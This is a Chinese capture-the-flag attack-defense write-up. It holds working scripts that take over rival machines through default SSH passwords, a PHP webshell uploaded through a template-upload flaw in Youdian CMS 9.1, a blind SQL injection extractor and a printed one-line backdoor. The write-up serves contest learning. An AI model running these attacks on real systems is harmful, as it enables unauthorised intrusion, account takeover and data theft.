攻击思路 由于所有靶机的SSH用户名及口令相同,因此可以在靶机启动时利用靶机口令未被修改的间隙登陆对方靶机,进行木马上传维持shell,甚至可以修改靶机口令使对方无法登陆从而霸占靶机。
本次AWD部署与VMCource平台,靶机并非常见的一靶机一IP形式,所有靶机容器只开放SSH端口22和WEB服务端口80,映射到平台的10.12.153.8 IP上,需要在平台排行榜界面查看所有靶机端口信息,无法基于网段扫描获取所有靶机信息,因此使用requests爬虫爬取VMCourse平台内容,提取所有靶机的SSH端口与WEB端口。
获取SSH端口后,利用python的paramiko模块可以方便的通过SSH协议连接靶机并执行命令,使用多线程加速靶机的连接,连接靶机后批量执行命令读取flag,尝试修改靶机口令实现shell持久化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 import requestsimport jsonimport timeimport threadingimport queueimport paramikoimport warnings warnings.filterwarnings("ignore" ) username = "ctf" passwds = ["hust-ctf" , "new_passwd" ] new_passwd = "new_passwd" session_cookie = "" CONTEST_ID = 165 api_url = "https://222.20.126.111/api" keep_alive = True def get_ssh_hosts (queue ): while (keep_alive): response = requests.get(url=f"{api_url} /awd/rank?id={CONTEST_ID} " , verify=False ) for group in json.loads(response.text)["scores" ]: try : group_id = group["groupID" ] section_id = group["sectionStates" ][0 ]["sectionID" ] response = requests.get(url=f"{api_url} /awd/machine?groupID={group_id} §ionID={section_id} " , verify=False , cookies={"SESSIONID" :session_cookie}) machine = json.loads(response.text)["machineInfo" ][0 ] ip = machine["ip" ] ports = machine["portInfos" ] for port in ports: if (port["targetPort" ] == 22 ): ssh_port = ports[0 ]["publishedPort" ] queue.put(f"{ip} :{ssh_port} " ) except : pass time.sleep(300 )def new_ssh (ip, port, passwd, queue ): print (f"try to connect [{ip} :{port} ]" ) ssh = paramiko.SSHClient() try : ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname=ip, port=port, username=username, password=passwd, look_for_keys=False , allow_agent=False ) except : return transport = ssh.get_transport() if transport.is_active(): print (f"[{ip} :{port} ]: SSH connection successful" ) queue.put((f"{ip} :{port} " , ssh)) else : print (f"[{ip} :{port} ]: SSH connection failed" )def connect_ssh (targets, hosts_q, ssh_q ): while (keep_alive): ip_port = hosts_q.get() if (ip_port in targets): if (targets[ip_port].get_transport().is_active()): pass ip, port = ip_port.split(":" ) port = int (port) for passwd in passwds: thread = threading.Thread(target=new_ssh, args=(ip, port, passwd, ssh_q)) thread.start() targets = {} hosts_q = queue.Queue() ssh_q = queue.Queue() get_hosts_thread = threading.Thread(target=get_ssh_hosts, args=(hosts_q,)) connect_ssh_thread = threading.Thread(target=connect_ssh, args=(targets, hosts_q, ssh_q)) get_hosts_thread.start() connect_ssh_thread.start()while True : cmd = input ("cmd=>" ) while (not ssh_q.empty()): ssh = ssh_q.get() if (ssh[0 ] in targets): try : targets[ssh[0 ]].close() except : pass targets[ssh[0 ]] = ssh[1 ] msg = "" for ip in targets: ssh = targets[ip] if (not ssh.get_transport().is_active()): targets.pop(ip) continue try : stdin, stdout, stderr = ssh.exec_command(cmd) output = stdout.read().decode('utf-8' ) s = f"[{ip} ]: {output} " msg += s + "\n" print (s) except : s = f"[{ip} ]: Failed!!!" msg += s + "\n" with open (f"outputs/output-{time.time()} .txt" , "wt" ) as f: f.write(msg) keep_alive = False
除了使用SSH初始口令登陆对方靶机外,正常的攻击需要分析靶机WEB服务存在的漏洞,进行漏洞利用获取flag。
D盾后门扫描 比赛开始登陆己方靶机,使用tar命令备份WEB服务目录,使用sftp将备份文件下载到本地进行漏洞分析,使用D盾扫描网站目录,分析网站是否存在后门。
如图所示,网站中有两个文件中存在变量函数后门,含有后门的PHP文件如下:
1 2 3 4 5 6 <?php $poc ="a#s#s#e#r#t" ;$poc_1 =explode ("#" ,$poc );$poc_2 =$poc_1 [0 ].$poc_1 [1 ].$poc_1 [2 ].$poc_1 [3 ].$poc_1 [4 ].$poc_1 [5 ];$poc_2 ($_GET ['s' ]);?>
上述代码为经典的PHP一句话木马,通过字符串拼接变量函数assert($_GET[‘s’])
,执行请求中的s参数命令,但是该木马在PHP 7.0中被修复,无法执行字符串命令,而靶机环境中的PHP版本为7.4.3,因此该后门无效。D盾扫描的剩余3个漏洞经过分析,也无法进行应用。
文件上传 分析网站PHP代码,在App/Conf/db.php
中,找到服务器的mysql数据库信息:
1 2 3 4 5 6 7 8 9 10 11 <?php return array ( 'DB_TYPE' => 'mysqli' , 'DB_HOST' => '127.0.0.1' , 'DB_NAME' => 'cms' , 'DB_USER' => 'root' , 'DB_PWD' => 'root-toor' , 'DB_PORT' => '3306' , 'DB_PREFIX' => 'youdian_' , );?>
根据上述信息登陆数据库
1 2 3 4 5 6 7 8 9 10 mysql -h 127.0.0.1 -uroot -proot-toor cms mysql> select * from youdian_admin; +---------+-----------+----------+--------------+----------------------------------+---------------------+-------------+--------+----------+----------------+------------+ | AdminID | AdminName | MemberID | AdminGroupID | AdminPassword | LastLoginTime | LastLoginIP | IsLock | IsSystem | LoginFailCount | LoginCount | +---------+-----------+----------+--------------+----------------------------------+---------------------+-------------+--------+----------+----------------+------------+ | 1 | admin | 1 | 1 | d6161f2fd556e774df1aaa8ce51b7f3c | 2024-06-29 05:14:34 | 11.0.0.2 | 0 | 1 | 3 | 182 | +---------+-----------+----------+--------------+----------------------------------+---------------------+-------------+--------+----------+----------------+------------+ 1 row in set (0.00 sec)
查询youdian_admin
表获取管理员用户admin的信息,admin的登陆口令md5值为d6161f2fd556e774df1aaa8ce51b7f3c
,查询md5数据库可以得到弱口令123456
,使用口令登陆管理员后台并修改弱口令。
对网站进行审计,网站有文件上传的功能,并且可以对上传的文件重命名,尝试绕过前端限制向网站上传木马文件,经测试网站具有较强的文件过滤,无法上传php等可执行文件,尝试通过重命令的方式将上传的文件后缀修改为php,测试发现重命令仍存在过滤,无法将上传的文件后缀修改为php,因此文件上传暂时无法利用。
模板木马上传 继续审计网站,发现网站有模板上传功能,可以上传zip文件并自动解压得到模板。
分析网站模板内容,发现前端可直接修改模板的文件,且模板中关于语言配置有common_cn.php
和common_en.php
两个PHP文件,前端可修改PHP文件,但是不能直接指定内容,只能修改值。
分析修改这两个PHP对应的代码逻辑App/Lib/Action/Admin/TemplateAction.class.php
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 function saveLang ( ) { header ("Content-Type:text/html; charset=utf-8" ); $langDirName = YdInput ::checkFileName (trim ( $_POST ['TemplateDir' ] )); $ItemName = $_POST ['ItemName' ]; $ItemCnValue = $_POST ['ItemCnValue' ]; $ItemEnValue = $_POST ['ItemEnValue' ]; $LangPackCn = array (); $LangPackEn = array (); $n = count ($ItemName ); for ( $i = 0 ; $i < $n ; $i ++ ){ $k = trim ($ItemName [$i ]); if ( $k != '' || $ItemCnValue [$i ] != '' || $ItemEnValue [$i ] != '' ){ $LangPackCn [$k ] = $ItemCnValue [$i ]; $LangPackEn [$k ] = $ItemEnValue [$i ]; } } $msg [0 ] = '保存失败' ; $msg [1 ] = '保存成功' ; $msg [2 ] = '没有写入权限' ; $bCn = $this ->_saveLangFile ($LangPackCn , $langDirName , 'cn' ); if ($bCn != 1 ){ $this ->ajaxReturn (null , $msg [$bCn ] , 0 ); } $bEn = $this ->_saveLangFile ($LangPackEn , $langDirName , 'en' ); if ($bEn != 1 ){ $this ->ajaxReturn (null , $msg [$bEn ] , 0 ); } WriteLog ($langDirName ); $this ->ajaxReturn (null , $msg [1 ] , 1 ); $this ->display (); }
模板语言文件的修改逻辑为将键值对保存在下面的形式,尝试使用特殊字符进行字符串截断,发现特殊字符被转译,仍然无法直接利用。
1 2 3 4 5 <?php return array ( 'LSHARE' => 'WeChat scan concerns us' , 'ViewMore' => 'View More' , );
分析与模板上传解压相关的代码,发现虽然解压后会对模板PHP文件进行检验,但只要符合上面的键值对形式即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 function uploadTemplate ( ) { set_time_limit (0 ); import ("ORG.Net.UploadFile" ); $upload = new UploadFile (); $upload ->maxSize = $GLOBALS ['Config' ]['MAX_UPLOAD_SIZE' ] ; $upload ->allowExts = array ('zip' ); $upload ->savePath = RUNTIME_PATH; $upload ->saveRule= time; if (!$upload ->upload ()) { $this ->ajaxReturn (null , $upload ->getErrorMsg () , 0 ); }else { $info = $upload ->getUploadFileInfo (); import ('ORG.Util.PclZip' ); $tplDir = ($_POST ['ishome' ] == 1 ) ? TMPL_PATH.'Home/' : TMPL_PATH.'Wap/' ; $zipname = RUNTIME_PATH.$info [0 ]['savename' ]; $archive = new PclZip ($zipname ); if (($list = $archive ->listContent ()) == 0 ) { $this ->ajaxReturn (null , '安装模板失败!' , 0 ); }else { $currentDir = $tplDir .$list [0 ]['filename' ]; if ( is_dir ($currentDir )){ $this ->ajaxReturn (null , '模板目录已经存在!请打开zip压缩包重命名根目录名,再重新安装!' , 0 ); } $count = count ($list ); $IsValid = false ; for ($n = 0 ; $n < $count ; $n ++){ $filename = strtolower ($list [$n ]['filename' ]); if ( $list [$n ]['folder' ] == true && stripos ($filename , 'channel/' ) ){ $IsValid = true ; break ; } } if ( !$IsValid ){ $this ->ajaxReturn (null , '无效模板压缩包!' , 0 ); } $map = array ('php' =>true , 'jsp' =>true , 'asp' =>true , 'aspx' =>true ); for ($n = 0 ; $n < $count ; $n ++){ if ( $list [$n ]['folder' ]) continue ; $filename = strtolower ($list [$n ]['filename' ]); if (stripos ($filename , '/common_en.php' ) || stripos ($filename , '/common_cn.php' ) ){ }else { $ext = strtolower (yd_file_ext ($filename )); if (isset ($map [$ext ])){ $this ->ajaxReturn (null , "模板不能包含{$ext} 文件" , 0 ); } } } } if ($archive ->extract (PCLZIP_OPT_PATH, $tplDir ) == 0 ) { @unlink ($zipname ); $this ->ajaxReturn (null , '安装模板失败!' , 0 ); }else { @unlink ($zipname ); $this ->checkTemplateLangFile ($currentDir ); $this ->ajaxReturn (null , '安装模板成功!' , 1 ); } } }private function checkTemplateLangFile ($currentDir ) { $langs = array ('cn' , 'en' ); foreach ($langs as $v ){ $langFile = "{$currentDir} Lang/common_{$v} .php" ; if (file_exists ($langFile )){ $content = file_get_contents ($langFile ); $content = trim ($content , '<?php' ); $content = trim ($content ); if ('return array' != substr ($content ,0 ,12 )){ @unlink ($langFile ); } } } }
构造如下木马:
1 2 3 4 <?php return array ( 'NOXKE' => @system ($_GET ["code" ]), );
压缩模板上传到网站,检查发现木马内容为原始内容,未被修改,木马文件路径为/App/Tpl/Home/temp/Lang/common_en.php
,利用get请求的code参数传递需要执行的代码,测试木马,如图3-5所示,成功进行命令执行并获取flag。
将上述的操作使用requests爬虫自动执行,使用123456弱口令登陆网站后台,上传含木马的模板压缩包。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import requestsimport jsondef upload_ma (ip, port ): print (f"[{ip} :{port} ]" ) url = f"http://{ip} :{port} /index.php/Admin/public/checkLogin/" data = { "username" : "admin" , "password" : "123456" , "verifycode" : "" } response = requests.post(url, data=data) print (json.loads(response.text)) ret_headers = response.headers cookie = ret_headers["Set-Cookie" ].split(";" )[0 ] url = f"http://{ip} :{port} /index.php/Admin/template/uploadTemplate" headers = { 'Accept' : 'application/json, text/javascript, */*; q=0.01' , 'Accept-Language' : 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6' , 'Cookie' : f'{cookie} ; CKFinder_Path=Files%3A%2Fdownload%2F%3A1; youdianAdminLangSet=cn; youdianMenuTopID=7' , 'X-Requested-With' : 'XMLHttpRequest' , } data = { 'ishome' : '1' , '__hash__' : '896dc746d4dc89c56e51ca6f799f9e8a_bd1aabc7f775a2fd93af1b9e2dcd26b7' } files = { 'TplFile' : ('temp.zip' , open ('temp.zip' , 'rb' ), 'application/zip' ) } response = requests.post(url, headers=headers, files=files, data=data) print (json.loads(response.text))with open ("web.txt" , "rt" ) as f: data = f.read() web_ls = data.split("\n" )[:-1 ]for ip_port in web_ls: ip, port = ip_port.split(":" ) try : upload_ma(ip, port) except : pass
SQL注入 靶机环境中的CMS为youdian9.1版本,搜索该版本漏洞库发现存在SQL注入漏洞,参考文章 友点CMS V9.1 前台SQL注入 - 简书 。该SQL注入只能执行查询命令,可以利用该漏洞查询youdian_admin表中的管理员口令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsimport stringimport time s = requests.session()def check (baseurl, payload ): url = baseurl + "/index.php/Channel/voteAdd" cookies = { "PHPSESSID" : "pn9iofrfklen68u4205veml8s0" , "youdianAdminLangSet" : "cn" , "youdianfu[0]" : "exp" , "youdianfu[1]" : payload } starttime = time.time() s.get(url, cookies=cookies) endtime = time.time() if endtime - starttime >= 1 : return True return False if __name__ == '__main__' : url = 'http://10.12.153.8:31147/' stringset = "0123456789abcdef" passwd = "" for i in range (32 ): for j in stringset: payload = "=(select 1 from(select if(ascii(substr((select AdminPassword from youdian_admin), {0}, 1))={1},sleep(1),0))a)" .format (str (i + 1 ), str (ord (j))) if check(url, payload): passwd += str (j) print ("[+] " + passwd)
批量提交flag 感谢别的同学提供的几个gift
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import requestsimport jsonimport reimport warningsimport time warnings.filterwarnings("ignore" ) session_cookie = "" def submit_flag (flag ): print (flag) url = "https://222.20.126.111/api/student/awd/flag" data = {"courseID" :165 ,"flag" :flag} response = requests.put(url, json=data, cookies={"SESSIONID" :session_cookie}, verify=False ) print (json.loads(response.text))def gift_flag (ip, port ): url = f"http://{ip} :{port} /" response = requests.get(url) pattern = r'awd{([A-Za-z0-9]+)}' match = re.search(pattern, response.text) if match : flag = "awd{" + match .group(1 ) + "}" submit_flag(flag)def get_flag (ip, port ): url = f"http://{ip} :{port} /App/Tpl/Home/temp/Lang/common_en.php?code=cat%20/flag" response = requests.get(url) if (response.status_code == 200 ): flag = response.text.strip() submit_flag(flag)with open ("web.txt" , "rt" ) as f: data = f.read() web_ls = data.split("\n" )[:-1 ]while True : for ip_port in web_ls: ip, port = ip_port.split(":" ) try : print (f"[{ip} :{port} ]" ) gift_flag(ip, port) get_flag(ip, port) except : pass time.sleep(3 ) time.sleep(600 )